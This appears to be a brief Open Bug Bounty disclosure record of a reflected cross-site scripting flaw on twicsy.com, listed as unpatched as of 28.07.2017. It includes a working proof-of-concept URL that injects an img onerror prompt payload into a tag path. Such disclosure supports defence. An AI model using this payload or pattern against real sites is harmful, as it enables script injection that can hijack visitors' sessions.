twicsy.com XSS vulnerability

Vulnerable URL: http://twicsy.com/tag/xx/past/%22%3E%3Cimg%20src=x%20onerror=prompt'OPENBUGBOUNTY'%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 14300 VIP website status:| Yes...